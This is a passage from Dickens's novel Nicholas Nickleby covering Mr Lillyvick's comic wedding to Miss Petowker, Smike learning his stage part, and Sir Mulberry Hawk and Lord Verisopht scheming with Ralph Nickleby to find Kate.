theatre next day was more like that of two dear +friends who had been inseparable from infancy, than a recognition +passing between a lady and gentleman who had only met some half- +dozen times, and then by mere chance. Nay, Miss Petowker even +whispered that she had wholly dropped the Kenwigses in her +conversations with the manager's family, and had represented herself +as having encountered Mr Johnson in the very first and most +fashionable circles; and on Nicholas receiving this intelligence +with unfeigned surprise, she added, with a sweet glance, that she +had a claim on his good nature now, and might tax it before long. + +Nicholas had the honour of playing in a slight piece with Miss +Petowker that night, and could not but observe that the warmth of +her reception was mainly attributable to a most persevering umbrella +in the upper boxes; he saw, too, that the enchanting actress cast +many sweet looks towards the quarter whence these sounds proceeded; +and that every time she did so, the umbrella broke out afresh. +Once, he thought that a peculiarly shaped hat in the same corner was +not wholly unknown to him; but, being occupied with his share of the +stage business, he bestowed no great attention upon this +circumstance, and it had quite vanished from his memory by the time +he reached home. + +He had just sat down to supper with Smike, when one of the people of +the house came outside the door, and announced that a gentleman +below stairs wished to speak to Mr Johnson. + +'Well, if he does, you must tell him to come up; that's all I know,' +replied Nicholas. 'One of our hungry brethren, I suppose, Smike.' + +His fellow-lodger looked at the cold meat in silent calculation of +the quantity that would be left for dinner next day, and put back a +slice he had cut for himself, in order that the visitor's +encroachments might be less formidable in their effects. + +'It is not anybody who has been here before,' said Nicholas, 'for he +is tumbling up every stair. Come in, come in. In the name of +wonder! Mr Lillyvick?' + +It was, indeed, the collector of water-rates who, regarding Nicholas +with a fixed look and immovable countenance, shook hands with most +portentous solemnity, and sat himself down in a seat by the chimney- +corner. + +'Why, when did you come here?' asked Nicholas. + +'This morning, sir,' replied Mr Lillyvick. + +'Oh! I see; then you were at the theatre tonight, and it was your +umb--' + +'This umbrella,' said Mr Lillyvick, producing a fat green cotton one +with a battered ferrule. 'What did you think of that performance?' + +'So far as I could judge, being on the stage,' replied Nicholas, 'I +thought it very agreeable.' + +'Agreeable!' cried the collector. 'I mean to say, sir, that it was +delicious.' + +Mr Lillyvick bent forward to pronounce the last word with greater +emphasis; and having done so, drew himself up, and frowned and +nodded a great many times. + +'I say, delicious,' repeated Mr Lillyvick. 'Absorbing, fairy-like, +toomultuous,' and again Mr Lillyvick drew himself up, and again he +frowned and nodded. + +'Ah!' said Nicholas, a little surprised at these symptoms of +ecstatic approbation. 'Yes--she is a clever girl.' + +'She is a divinity,' returned Mr Lillyvick, giving a collector's +double knock on the ground with the umbrella before-mentioned. 'I +have known divine actresses before now, sir, I used to collect--at +least I used to CALL for--and very often call for--the water-rate at +the house of a divine actress, who lived in my beat for upwards of +four year but never--no, never, sir of all divine creatures, +actresses or no actresses, did I see a diviner one than is Henrietta +Petowker.' + +Nicholas had much ado to prevent himself from laughing; not trusting +himself to speak, he merely nodded in accordance with Mr Lillyvick's +nods, and remained silent. + +'Let me speak a word with you in private,' said Mr Lillyvick. + +Nicholas looked good-humouredly at Smike, who, taking the hint, +disappeared. + +'A bachelor is a miserable wretch, sir,' said Mr Lillyvick. + +'Is he?' asked Nicholas. + +'He is,' rejoined the collector. 'I have lived in the world for +nigh sixty year, and I ought to know what it is.' + +'You OUGHT to know, certainly,' thought Nicholas; 'but whether you +do or not, is another question.' + +'If a bachelor happens to have saved a little matter of money,' said +Mr Lillyvick, 'his sisters and brothers, and nephews and nieces, +look TO that money, and not to him; even if, by being a public +character, he is the head of the family, or, as it may be, the main +from which all the other little branches are turned on, they still +wish him dead all the while, and get low-spirited every time they +see him looking in good health, because they want to come into his +little property. You see that?' + +'Oh yes,' replied Nicholas: 'it's very true, no doubt.' + +'The great reason for not being married,' resumed Mr Lillyvick, 'is +the expense; that's what's kept me off, or else--Lord!' said Mr +Lillyvick, snapping his fingers, 'I might have had fifty women.' + +'Fine women?' asked Nicholas. + +'Fine women, sir!' replied the collector; 'ay! not so fine as +Henrietta Petowker, for she is an uncommon specimen, but such women +as don't fall into every man's way, I can tell you. Now suppose a +man can get a fortune IN a wife instead of with her--eh?' + +'Why, then, he's a lucky fellow,' replied Nicholas. + +'That's what I say,' retorted the collector, patting him benignantly +on the side of the head with his umbrella; 'just what I say. +Henrietta Petowker, the talented Henrietta Petowker has a fortune in +herself, and I am going to--' + +'To make her Mrs Lillyvick?' suggested Nicholas. + +'No, sir, not to make her Mrs Lillyvick,' replied the collector. +'Actresses, sir, always keep their maiden names--that's the regular +thing--but I'm going to marry her; and the day after tomorrow, too.' + +'I congratulate you, sir,' said Nicholas. + +'Thank you, sir,' replied the collector, buttoning his waistcoat. +'I shall draw her salary, of course, and I hope after all that it's +nearly as cheap to keep two as it is to keep one; that's a +consolation.' + +'Surely you don't want any consolation at such a moment?' observed +Nicholas. + +'No,' replied Mr Lillyvick, shaking his head nervously: 'no--of +course not.' + +'But how come you both here, if you're going to be married, Mr +Lillyvick?' asked Nicholas. + +'Why, that's what I came to explain to you,' replied the collector +of water-rate. 'The fact is, we have thought it best to keep it +secret from the family.' + +'Family!' said Nicholas. 'What family?' + +'The Kenwigses of course,' rejoined Mr Lillyvick. 'If my niece and +the children had known a word about it before I came away, they'd +have gone into fits at my feet, and never have come out of 'em till +I took an oath not to marry anybody--or they'd have got out a +commission of lunacy, or some dreadful thing,' said the collector, +quite trembling as he spoke. + +'To be sure,' said Nicholas. 'Yes; they would have been jealous, no +doubt.' + +'To prevent which,' said Mr Lillyvick, 'Henrietta Petowker (it was +settled between us) should come down here to her friends, the +Crummleses, under pretence of this engagement, and I should go down +to Guildford the day before, and join her on the coach there, which +I did, and we came down from Guildford yesterday together. Now, for +fear you should be writing to Mr Noggs, and might say anything about +us, we have thought it best to let you into the secret. We shall be +married from the Crummleses' lodgings, and shall be delighted to see +you--either before church or at breakfast-time, which you like. It +won't be expensive, you know,' said the collector, highly anxious to +prevent any misunderstanding on this point; 'just muffins and +coffee, with perhaps a shrimp or something of that sort for a +relish, you know.' + +'Yes, yes, I understand,' replied Nicholas. 'Oh, I shall be most +happy to come; it will give me the greatest pleasure. Where's the +lady stopping--with Mrs Crummles?' + +'Why, no,' said the collector; 'they couldn't very well dispose of +her at night, and so she is staying with an acquaintance of hers, +and another young lady; they both belong to the theatre.' + +'Miss Snevellicci, I suppose?' said Nicholas. + +'Yes, that's the name.' + +'And they'll be bridesmaids, I presume?' said Nicholas. + +'Why,' said the collector, with a rueful face, 'they WILL have four +bridesmaids; I'm afraid they'll make it rather theatrical.' + +'Oh no, not at all,' replied Nicholas, with an awkward attempt to +convert a laugh into a cough. 'Who may the four be? Miss +Snevellicci of course--Miss Ledrook--' + +'The--the phenomenon,' groaned the collector. + +'Ha, ha!' cried Nicholas. 'I beg your pardon, I don't know what I'm +laughing at--yes, that'll be very pretty--the phenomenon--who else?' + +'Some young woman or other,' replied the collector, rising; 'some +other friend of Henrietta Petowker's. Well, you'll be careful not +to say anything about it, will you?' + +'You may safely depend upon me,' replied Nicholas. 'Won't you take +anything to eat or drink?' + +'No,' said the collector; 'I haven't any appetite. I should think +it was a very pleasant life, the married one, eh?' + +'I have not the least doubt of it,' rejoined Nicholas. + +'Yes,' said the collector; 'certainly. Oh yes. No doubt. Good +night.' + +With these words, Mr Lillyvick, whose manner had exhibited through +the whole of this interview a most extraordinary compound of +precipitation, hesitation, confidence and doubt, fondness, +misgiving, meanness, and self-importance, turned his back upon the +room, and left Nicholas to enjoy a laugh by himself if he felt so +disposed. + +Without stopping to inquire whether the intervening day appeared to +Nicholas to consist of the usual number of hours of the ordinary +length, it may be remarked that, to the parties more directly +interested in the forthcoming ceremony, it passed with great +rapidity, insomuch that when Miss Petowker awoke on the succeeding +morning in the chamber of Miss Snevellicci, she declared that +nothing should ever persuade her that that really was the day which +was to behold a change in her condition. + +'I never will believe it,' said Miss Petowker; 'I cannot really. +It's of no use talking, I never can make up my mind to go through +with such a trial!' + +On hearing this, Miss Snevellicci and Miss Ledrook, who knew +perfectly well that their fair friend's mind had been made up for +three or four years, at any period of which time she would have +cheerfully undergone the desperate trial now approaching if she +could have found any eligible gentleman disposed for the venture, +began to preach comfort and firmness, and to say how very proud she +ought to feel that it was in her power to confer lasting bliss on a +deserving object, and how necessary it was for the happiness of +mankind in general that women should possess fortitude and +resignation on such occasions; and that although for their parts +they held true happiness to consist in a single life, which they +would not willingly exchange--no, not for any worldly consideration-- +still (thank God), if ever the time SHOULD come, they hoped they +knew their duty too well to repine, but would the rather submit with +meekness and humility of spirit to a fate for which Providence had +clearly designed them with a view to the contentment and reward of +their fellow-creatures. + +'I might feel it was a great blow,' said Miss Snevellicci, 'to break +up old associations and what-do-you-callems of that kind, but I +would submit, my dear, I would indeed.' + +'So would I,' said Miss Ledrook; 'I would rather court the yoke than +shun it. I have broken hearts before now, and I'm very sorry for +it: for it's a terrible thing to reflect upon.' + +'It is indeed,' said Miss Snevellicci. 'Now Led, my dear, we must +positively get her ready, or we shall be too late, we shall indeed.' + +This pious reasoning, and perhaps the fear of being too late, +supported the bride through the ceremony of robing, after which, +strong tea and brandy were administered in alternate doses as a +means of strengthening her feeble limbs and causing her to walk +steadier. + +'How do you feel now, my love?' inquired Miss Snevellicci. + +'Oh Lillyvick!' cried the bride. 'If you knew what I am undergoing +for you!' + +'Of course he knows it, love, and will never forget it,' said Miss +Ledrook. + +'Do you think he won't?' cried Miss Petowker, really showing great +capability for the stage. 'Oh, do you think he won't? Do you think +Lillyvick will always remember it--always, always, always?' + +There is no knowing in what this burst of feeling might have ended, +if Miss Snevellicci had not at that moment proclaimed the arrival of +the fly, which so astounded the bride that she shook off divers +alarming symptoms which were coming on very strong, and running to +the glass adjusted her dress, and calmly declared that she was ready +for the sacrifice. + +She was accordingly supported into the coach, and there 'kept up' +(as Miss Snevellicci said) with perpetual sniffs of SAL VOLATILE and +sips of brandy and other gentle stimulants, until they reached the +manager's door, which was already opened by the two Master +Crummleses, who wore white cockades, and were decorated with the +choicest and most resplendent waistcoats in the theatrical wardrobe. +By the combined exertions of these young gentlemen and the +bridesmaids, assisted by the coachman, Miss Petowker was at length +supported in a condition of much exhaustion to the first floor, +where she no sooner encountered the youthful bridegroom than she +fainted with great decorum. + +'Henrietta Petowker!' said the collector; 'cheer up, my lovely one.' + +Miss Petowker grasped the collector's hand, but emotion choked her +utterance. + +'Is the sight of me so dreadful, Henrietta Petowker?' said the +collector. + +'Oh no, no, no,' rejoined the bride; 'but all the friends--the +darling friends--of my youthful days--to leave them all--it is such +a shock!' + +With such expressions of sorrow, Miss Petowker went on to enumerate +the dear friends of her youthful days one by one, and to call upon +such of them as were present to come and embrace her. This done, +she remembered that Mrs Crummles had been more than a mother to her, +and after that, that Mr Crummles had been more than a father to her, +and after that, that the Master Crummleses and Miss Ninetta Crummles +had been more than brothers and sisters to her. These various +remembrances being each accompanied with a series of hugs, occupied +a long time, and they were obliged to drive to church very fast, for +fear they should be too late. + +The procession consisted of two flys; in the first of which were +Miss Bravassa (the fourth bridesmaid), Mrs Crummles, the collector, +and Mr Folair, who had been chosen as his second on the occasion. +In the other were the bride, Mr Crummles, Miss Snevellicci, Miss +Ledrook, and the phenomenon. The costumes were beautiful. The +bridesmaids were quite covered with artificial flowers, and the +phenomenon, in particular, was rendered almost invisible by the +portable arbour in which she was enshrined. Miss Ledrook, who was +of a romantic turn, wore in her breast the miniature of some field- +officer unknown, which she had purchased, a great bargain, not very +long before; the other ladies displayed several dazzling articles of +imitative jewellery, almost equal to real, and Mrs Crummles came out +in a stern and gloomy majesty, which attracted the admiration of all +beholders. + +But, perhaps the appearance of Mr Crummles was more striking and +appropriate than that of any member of the party. This gentleman, +who personated the bride's father, had, in pursuance of a happy and +original conception, 'made up' for the part by arraying himself in a +theatrical wig, of a style and pattern commonly known as a brown +George, and moreover assuming a snuff-coloured suit, of the previous +century, with grey silk stockings, and buckles to his shoes. The +better to support his assumed character he had determined to be +greatly overcome, and, consequently, when they entered the church, +the sobs of the affectionate parent were so heart-rending that the +pew-opener suggested the propriety of his retiring to the vestry, +and comforting himself with a glass of water before the ceremony +began. + +The procession up the aisle was beautiful. The bride, with the four +bridesmaids, forming a group previously arranged and rehearsed; the +collector, followed by his second, imitating his walk and gestures +to the indescribable amusement of some theatrical friends in the +gallery; Mr Crummles, with an infirm and feeble gait; Mrs Crummles +advancing with that stage walk, which consists of a stride and a +stop alternately--it was the completest thing ever witnessed. The +ceremony was very quickly disposed of, and all parties present +having signed the register (for which purpose, when it came to his +turn, Mr Crummles carefully wiped and put on an immense pair of +spectacles), they went back to breakfast in high spirits. And here +they found Nicholas awaiting their arrival. + +'Now then,' said Crummles, who had been assisting Mrs Grudden in the +preparations, which were on a more extensive scale than was quite +agreeable to the collector. 'Breakfast, breakfast.' + +No second invitation was required. The company crowded and squeezed +themselves at the table as well as they could, and fell to, +immediately: Miss Petowker blushing very much when anybody was +looking, and eating very much when anybody was NOT looking; and Mr +Lillyvick going to work as though with the cool resolve, that since +the good things must be paid for by him, he would leave as little as +possible for the Crummleses to eat up afterwards. + +'It's very soon done, sir, isn't it?' inquired Mr Folair of the +collector, leaning over the table to address him. + +'What is soon done, sir?' returned Mr Lillyvick. + +'The tying up--the fixing oneself with a wife,' replied Mr Folair. +'It don't take long, does it?' + +'No, sir,' replied Mr Lillyvick, colouring. 'It does not take long. +And what then, sir?' + +'Oh! nothing,' said the actor. 'It don't take a man long to hang +himself, either, eh? ha, ha!' + +Mr Lillyvick laid down his knife and fork, and looked round the +table with indignant astonishment. + +'To hang himself!' repeated Mr Lillyvick. + +A profound silence came upon all, for Mr Lillyvick was dignified +beyond expression. + +'To hang himself!' cried Mr Lillyvick again. 'Is any parallel +attempted to be drawn in this company between matrimony and +hanging?' + +'The noose, you know,' said Mr Folair, a little crest-fallen. + +'The noose, sir?' retorted Mr Lillyvick. 'Does any man dare to +speak to me of a noose, and Henrietta Pe--' + +'Lillyvick,' suggested Mr Crummles. + +'--And Henrietta Lillyvick in the same breath?' said the collector. +'In this house, in the presence of Mr and Mrs Crummles, who have +brought up a talented and virtuous family, to be blessings and +phenomenons, and what not, are we to hear talk of nooses?' + +'Folair,' said Mr Crummles, deeming it a matter of decency to be +affected by this allusion to himself and partner, 'I'm astonished at +you.' + +'What are you going on in this way at me for?' urged the unfortunate +actor. 'What have I done?' + +'Done, sir!' cried Mr Lillyvick, 'aimed a blow at the whole framework +of society--' + +'And the best and tenderest feelings,' added Crummles, relapsing +into the old man. + +'And the highest and most estimable of social ties,' said the +collector. 'Noose! As if one was caught, trapped into the married +state, pinned by the leg, instead of going into it of one's own +accord and glorying in the act!' + +'I didn't mean to make it out, that you were caught and trapped, and +pinned by the leg,' replied the actor. 'I'm sorry for it; I can't +say any more.' + +'So you ought to be, sir,' returned Mr Lillyvick; 'and I am glad to +hear that you have enough of feeling left to be so.' + +The quarrel appearing to terminate with this reply, Mrs Lillyvick +considered that the fittest occasion (the attention of the company +being no longer distracted) to burst into tears, and require the +assistance of all four bridesmaids, which was immediately rendered, +though not without some confusion, for the room being small and the +table-cloth long, a whole detachment of plates were swept off the +board at the very first move. Regardless of this circumstance, +however, Mrs Lillyvick refused to be comforted until the +belligerents had passed their words that the dispute should be +carried no further, which, after a sufficient show of reluctance, +they did, and from that time Mr Folair sat in moody silence, +contenting himself with pinching Nicholas's leg when anything was +said, and so expressing his contempt both for the speaker and the +sentiments to which he gave utterance. + +There were a great number of speeches made; some by Nicholas, and +some by Crummles, and some by the collector; two by the Master +Crummleses in returning thanks for themselves, and one by the +phenomenon on behalf of the bridesmaids, at which Mrs Crummles shed +tears. There was some singing, too, from Miss Ledrook and Miss +Bravassa, and very likely there might have been more, if the fly- +driver, who stopped to drive the happy pair to the spot where they +proposed to take steamboat to Ryde, had not sent in a peremptory +message intimating, that if they didn't come directly he should +infallibly demand eighteen-pence over and above his agreement. + +This desperate threat effectually broke up the party. After a most +pathetic leave-taking, Mr Lillyvick and his bride departed for Ryde, +where they were to spend the next two days in profound retirement, +and whither they were accompanied by the infant, who had been +appointed travelling bridesmaid on Mr Lillyvick's express +stipulation: as the steamboat people, deceived by her size, would +(he had previously ascertained) transport her at half-price. + +As there was no performance that night, Mr Crummles declared his +intention of keeping it up till everything to drink was disposed of; +but Nicholas having to play Romeo for the first time on the ensuing +evening, contrived to slip away in the midst of a temporary +confusion, occasioned by the unexpected development of strong +symptoms of inebriety in the conduct of Mrs Grudden. + +To this act of desertion he was led, not only by his own +inclinations, but by his anxiety on account of Smike, who, having to +sustain the character of the Apothecary, had been as yet wholly +unable to get any more of the part into his head than the general +idea that he was very hungry, which--perhaps from old recollections-- +he had acquired with great aptitude. + +'I don't know what's to be done, Smike,' said Nicholas, laying down +the book. 'I am afraid you can't learn it, my poor fellow.' + +'I am afraid not,' said Smike, shaking his head. 'I think if you-- +but that would give you so much trouble.' + +'What?' inquired Nicholas. 'Never mind me.' + +'I think,' said Smike, 'if you were to keep saying it to me in +little bits, over and over again, I should be able to recollect it +from hearing you.' + +'Do you think so?' exclaimed Nicholas. 'Well said. Let us see who +tires first. Not I, Smike, trust me. Now then. Who calls so +loud?" + +'"Who calls so loud?"' said Smike. + +'"Who calls so loud?"' repeated Nicholas. + +'"Who calls so loud?"' cried Smike. + +Thus they continued to ask each other who called so loud, over and +over again; and when Smike had that by heart Nicholas went to +another sentence, and then to two at a time, and then to three, and +so on, until at midnight poor Smike found to his unspeakable joy +that he really began to remember something about the text. + +Early in the morning they went to it again, and Smike, rendered more +confident by the progress he had already made, got on faster and +with better heart. As soon as he began to acquire the words pretty +freely, Nicholas showed him how he must come in with both hands +spread out upon his stomach, and how he must occasionally rub it, in +compliance with the established form by which people on the stage +always denote that they want something to eat. After the morning's +rehearsal they went to work again, nor did they stop, except for a +hasty dinner, until it was time to repair to the theatre at night. + +Never had master a more anxious, humble, docile pupil. Never had +pupil a more patient, unwearying, considerate, kindhearted master. + +As soon as they were dressed, and at every interval when he was not +upon the stage, Nicholas renewed his instructions. They prospered +well. The Romeo was received with hearty plaudits and unbounded +favour, and Smike was pronounced unanimously, alike by audience and +actors, the very prince and prodigy of Apothecaries. + + + +CHAPTER 26 + +Is fraught with some Danger to Miss Nickleby's Peace of Mind + + +The place was a handsome suite of private apartments in Regent +Street; the time was three o'clock in the afternoon to the dull and +plodding, and the first hour of morning to the gay and spirited; the +persons were Lord Frederick Verisopht, and his friend Sir Mulberry +Hawk. + +These distinguished gentlemen were reclining listlessly on a couple +of sofas, with a table between them, on which were scattered in rich +confusion the materials of an untasted breakfast. Newspapers lay +strewn about the room, but these, like the meal, were neglected and +unnoticed; not, however, because any flow of conversation prevented +the attractions of the journals from being called into request, for +not a word was exchanged between the two, nor was any sound uttered, +save when one, in tossing about to find an easier resting-place for +his aching head, uttered an exclamation of impatience, and seemed +for a moment to communicate a new restlessness to his companion. + +These appearances would in themselves have furnished a pretty strong +clue to the extent of the debauch of the previous night, even if +there had not been other indications of the amusements in which it +had been passed. A couple of billiard balls, all mud and dirt, two +battered hats, a champagne bottle with a soiled glove twisted round +the neck, to allow of its being grasped more surely in its capacity +of an offensive weapon; a broken cane; a card-case without the top; +an empty purse; a watch-guard snapped asunder; a handful of silver, +mingled with fragments of half-smoked cigars, and their stale and +crumbled ashes;--these, and many other tokens of riot and disorder, +hinted very intelligibly at the nature of last night's gentlemanly +frolics. + +Lord Frederick Verisopht was the first to speak. Dropping his +slippered foot on the ground, and, yawning heavily, he struggled +into a sitting posture, and turned his dull languid eyes towards his +friend, to whom he called in a drowsy voice. + +'Hallo!' replied Sir Mulberry, turning round. + +'Are we going to lie here all da-a-y?' said the lord. + +'I don't know that we're fit for anything else,' replied Sir +Mulberry; 'yet awhile, at least. I haven't a grain of life in me +this morning.' + +'Life!' cried Lord Verisopht. 'I feel as if there would be nothing +so snug and comfortable as to die at once.' + +'Then why don't you die?' said Sir Mulberry. + +With which inquiry he turned his face away, and seemed to occupy +himself in an attempt to fall asleep. + +His hopeful fiend and pupil drew a chair to the breakfast-table, and +essayed to eat; but, finding that impossible, lounged to the window, +then loitered up and down the room with his hand to his fevered +head, and finally threw himself again on his sofa, and roused his +friend once more. + +'What the devil's the matter?' groaned Sir Mulberry, sitting upright +on the couch. + +Although Sir Mulberry said this with sufficient ill-humour, he did +not seem to feel himself quite at liberty to remain silent; for, +after stretching himself very often, and declaring with a shiver +that it was 'infernal cold,' he made an experiment at the breakfast- +table, and proving more successful in it than his less-seasoned +friend, remained there. + +'Suppose,' said Sir Mulberry, pausing with a morsel on the point of +his fork, 'suppose we go back to the subject of little Nickleby, +eh?' + +'Which little Nickleby; the money-lender or the ga-a-l?' asked Lord +Verisopht. + +'You take me, I see,' replied Sir Mulberry. 'The girl, of course.' + +'You promised me you'd find her out,' said Lord Verisopht. + +'So I did,' rejoined his friend; 'but I have thought further of the +matter since then. You distrust me in the business--you shall find +her out yourself.' + +'Na-ay,' remonstrated Lord Verisopht. + +'But I say yes,' returned his friend. 'You shall find her out +yourself. Don't think that I mean, when you can--I know as well as +you that if I did, you could never get sight of her without me. No. +I say you shall find her out--SHALL--and I'll put you in the way.' + +'Now, curse me, if you ain't a real, deyvlish, downright, thorough- +paced friend,' said the young lord, on whom this speech had produced +a most reviving effect. + +'I'll tell you how,' said Sir Mulberry. 'She was at that dinner as +a bait for you.' + +'No!' cried the young lord. 'What the dey--' + +'As a bait for you,' repeated his friend; 'old Nickleby told me so +himself.' + +'What a fine old cock it is!' exclaimed Lord Verisopht; 'a noble +rascal!' + +'Yes,' said Sir Mulberry, 'he knew she was a smart little creature--' + +'Smart!' interposed the young lord. 'Upon my soul, Hawk, she's a +perfect beauty--a--a picture, a statue, a--a--upon my soul she is!' + +'Well,' replied Sir Mulberry, shrugging his shoulders and +manifesting an indifference, whether he felt it or not; 'that's a +matter of taste; if mine doesn't agree with yours, so much the +better.' + +'Confound it!' reasoned the lord, 'you were thick enough with her +that day, anyhow. I could hardly get in a word.' + +'Well enough for once, well enough for once,' replied Sir Mulberry; +'but not worth the trouble of being agreeable to again. If you +seriously want to follow up the niece, tell the uncle that you must +know where she lives and how she lives, and with whom, or you are no +longer a customer of his. He'll tell you fast enough.' + +'Why didn't you say this before?' asked Lord Verisopht, 'instead of +letting me go on burning, consuming, dragging out a miserable +existence for an a-age!' + +'I didn't know it, in the first place,' answered Sir Mulberry +carelessly; 'and in the second, I didn't believe you were so very +much in earnest.' + +Now, the truth was, that in the interval which had elapsed since the +dinner at Ralph Nickleby's, Sir Mulberry Hawk had been furtively +trying by every means in his power to discover whence Kate had so +suddenly appeared, and whither she had disappeared. Unassisted by +Ralph, however, with whom he had held no communication since their +angry parting on that occasion, all his efforts were wholly +unavailing, and he had therefore arrived at the determination of +communicating to the young lord the substance of the admission he +had gleaned from that worthy. To this he was impelled by various +considerations; among which the certainty of knowing whatever the +weak young man knew was decidedly not the least, as the desire of +encountering the usurer's niece again, and using his utmost arts to +reduce her pride, and revenge himself for her contempt, was +uppermost in his thoughts. It was a politic course of proceeding, +and one which could not fail to redound to his advantage in every +point of view, since the very circumstance of his having extorted +from Ralph Nickleby his real design in introducing his niece to such +society, coupled with his extreme disinterestedness in communicating +it so freely to his friend, could not but advance his interests in +that quarter, and greatly facilitate the passage of coin (pretty +frequent and speedy already) from the pockets of Lord Frederick +Verisopht to those of Sir Mulberry Hawk. + +Thus reasoned Sir Mulberry, and in pursuance of this reasoning he +and his friend soon afterwards repaired to Ralph Nickleby's, there +to execute a plan of operations concerted by Sir Mulberry himself, +avowedly to promote his friend's object, and really to attain his +own. + +They found Ralph at home, and alone. As he led them into the +drawing-room, the recollection of the scene which had taken place +there seemed to occur to him, for he cast a curious look at Sir +Mulberry, who bestowed upon it no other acknowledgment than a +careless smile. + +They had a short conference upon some money matters then in +progress, which were scarcely disposed of when the lordly dupe (in +pursuance of his friend's instructions) requested with some +embarrassment to speak to Ralph alone. + +'Alone, eh?' cried Sir Mulberry, affecting surprise. 'Oh, very +good. I'll walk into the next room here. Don't keep me long, +that's all.' + +So saying, Sir Mulberry took up his hat, and humming a fragment of a +song disappeared through the door of communication between the two +drawing-rooms, and closed it after him. + +'Now, my lord,' said Ralph, 'what is it?' + +'Nickleby,' said his client, throwing himself along the sofa on +which he had been previously seated, so as to bring his lips nearer +to the old man's ear, 'what a pretty creature your niece is!' + +'Is she, my lord?' replied Ralph. 'Maybe--maybe--I don't trouble my +head with such matters.' + +'You know she's a deyvlish fine girl,' said the client. 'You must +know that, Nickleby. Come, don't deny that.' + +'Yes, I believe she is considered so,' replied Ralph. 'Indeed, I +know she is. If I did not, you are an authority on such points, and +your taste, my lord--on all points, indeed--is undeniable.' + +Nobody but the young man to whom these words were addressed could +have been deaf to the sneering tone in which they were spoken, or +blind to the look of contempt by which they were accompanied. But +Lord Frederick Verisopht was both, and took them to be complimentary. + +'Well,' he said, 'p'raps you're a little right, and p'raps you're a +little wrong--a little of both, Nickleby. I want to know where this +beauty lives, that I may have another peep at her, Nickleby.' + +'Really--' Ralph began in his usual tones. + +'Don't talk so loud,' cried the other, achieving the great point of +his lesson to a miracle. 'I don't want Hawk to hear.' + +'You know he is your rival, do you?' said Ralph, looking sharply at +him. + +'He always is, d-a-amn him,' replied the client; 'and I want to +steal a march upon him. Ha, ha, ha! He'll cut up so rough, +Nickleby, at our talking together without him. Where does she live, +Nickleby, that's all? Only tell me where she lives, Nickleby.' + +'He bites,' thought Ralph. 'He bites.' + +'Eh, Nickleby, eh?' pursued the client. 'Where does she live?' + +'Really, my lord,' said Ralph, rubbing his hands slowly over each +other, 'I must think before I tell you.' + +'No, not a bit of it, Nickleby; you mustn't think at all,' replied +Verisopht. 'Where is it?' + +'No good can come of your knowing,' replied Ralph. 'She has been +virtuously and well brought up; to be sure she is handsome, poor, +unprotected! Poor girl, poor girl.' + +Ralph ran over this brief summary of Kate's condition as if it were +merely passing through his own mind, and he had no intention to +speak aloud; but the shrewd sly look which he directed at his +companion as he delivered it, gave this poor assumption the lie. + +'I tell you I only want to see her,' cried his client. 'A ma-an may +look at a pretty woman without harm, mayn't he? Now, where DOES she +live? You know you're making a fortune out of me, Nickleby, and +upon my soul nobody shall ever take me to anybody else, if you only +tell me this.' + +'As you promise that, my lord,' said Ralph, with feigned reluctance, +'and as I am most anxious to oblige you, and as there's no harm in +it--no harm--I'll tell you. But you had better keep it to yourself, +my lord; strictly to yourself.' Ralph pointed to the adjoining room +as he spoke, and nodded expressively. + +The young lord, feigning to be equally impressed with the necessity +of this precaution, Ralph disclosed the present address and +occupation of his niece, observing that from what he heard of the +family they appeared very ambitious to have distinguished +acquaintances, and that a lord could, doubtless, introduce himself +with great ease, if he felt disposed. + +'Your object being only to see her again,' said Ralph, 'you could +effect it at any time you chose by that means.' + +Lord Verisopht acknowledged the hint with a great many squeezes of +Ralph's hard, horny hand, and whispering that they would now do well +to close the conversation, called to Sir Mulberry Hawk that he might +come back. + +'I thought you had gone to sleep,' said Sir Mulberry, reappearing +with an ill-tempered air. + +'Sorry to detain you,' replied the gull; 'but Nickleby has been so +ama-azingly funny that I couldn't tear myself away.' + +'No, no,' said Ralph; 'it was all his lordship. You know what a +witty, humorous, elegant, accomplished man Lord Frederick is. Mind +the step, my lord--Sir Mulberry, pray give way.' + +With such courtesies as these, and many low bows, and the same cold +sneer upon his face all the while, Ralph busied himself in showing +his visitors downstairs, and otherwise than by the slightest +possible motion about the corners of his mouth, returned no show of +answer to the look of admiration with which Sir Mulberry Hawk seemed +to compliment him on being such an accomplished and most consummate +scoundrel. + +There had been a ring at the bell a few minutes before, which was +answered by Newman Noggs just as they reached the hall. In the +ordinary course of business Newman would have either admitted the +new-comer in silence, or have requested him or her to stand aside +while the gentlemen passed out. But he no sooner saw who it was, +than as if for some private reason of his own, he boldly departed +from the established custom of Ralph's mansion in business hours, +and looking towards the respectable trio who were approaching, cried +in a loud and sonorous voice, 'Mrs Nickleby!' + +'Mrs Nickleby!' cried Sir Mulberry Hawk, as his friend looked back, +and stared him in the face. + +It was, indeed, that well-intentioned lady, who, having received an +offer for the empty house in the city directed to the landlord, had +brought it post-haste to Mr Nickleby without delay. + +'Nobody YOU know,' said Ralph. 'Step into the office, my--my--dear. +I'll be with you directly.' + +'Nobody I know!' cried Sir Mulberry Hawk, advancing to the +astonished lady. 'Is this Mrs Nickleby--the mother of Miss +Nickleby--the delightful creature that I had the happiness of +meeting in this house the very last time I dined here? But no;' +said Sir Mulberry, stopping short. 'No, it can't be. There is the +same cast of features, the same indescribable air of--But no; no. +This lady is too young for that.' + +'I think you can tell the gentleman, brother-in-law, if it concerns +him to know,' said Mrs Nickleby, acknowledging the compliment with a +graceful bend, 'that Kate Nickleby is my daughter.' + +'Her daughter, my lord!' cried Sir Mulberry, turning to his friend. +'This lady's daughter, my lord.' + +'My lord!' thought Mrs Nickleby. 'Well, I never did--' + +'This, then, my lord,' said Sir Mulberry, 'is the lady to whose +obliging marriage we owe so much happiness. This lady is the mother +of sweet Miss Nickleby. Do you observe the extraordinary likeness, +my lord? Nickleby--introduce us.' + +Ralph did so, in a kind of desperation. + +'Upon my soul, it's a most delightful thing," said Lord Frederick, +pressing forward. 'How de do?' + +Mrs Nickleby was too much flurried by these uncommonly kind +salutations, and her regrets at not having on her other bonnet, to +make any immediate reply, so she merely continued to bend and smile, +and betray great agitation. + +'A--and how is Miss Nickleby?' said Lord Frederick. 'Well, I hope?' + +'She is quite well, I'm obliged to you, my lord,' returned Mrs +Nickleby, recovering. 'Quite well. She wasn't well for some days +after that day she dined here, and I can't help thinking, that she +caught cold in that hackney coach coming home. Hackney coaches, my +lord, are such nasty things, that it's almost better to walk at any +time, for although I believe a hackney coachman can be transported +for life, if he has a broken window, still they are so reckless, +that they nearly all have broken windows. I once had a swelled face +for six weeks, my lord, from riding in a hackney coach--I think it +was a hackney coach,' said Mrs Nickleby reflecting, 'though I'm not +quite certain whether it wasn't a chariot; at all events I know it +was a dark green, with a very long number, beginning with a nought +and ending with 